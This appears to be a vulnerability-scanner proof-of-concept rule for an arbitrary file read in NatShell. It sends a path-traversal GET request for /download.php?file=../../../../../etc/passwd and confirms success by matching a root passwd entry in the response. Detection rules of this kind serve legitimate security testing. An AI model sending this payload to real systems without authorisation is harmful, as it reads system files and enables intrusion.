name: poc-yaml-natshell-arbitrary-file-read rules: - method: GET path: /download.php?file=../../../../../etc/passwd follow_redirects: false expression: | response.status == 200 && "(root|toor):[x*]:0:0:".bmatches(response.body) detail: author: Print1n(http://print1n.top) links: - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw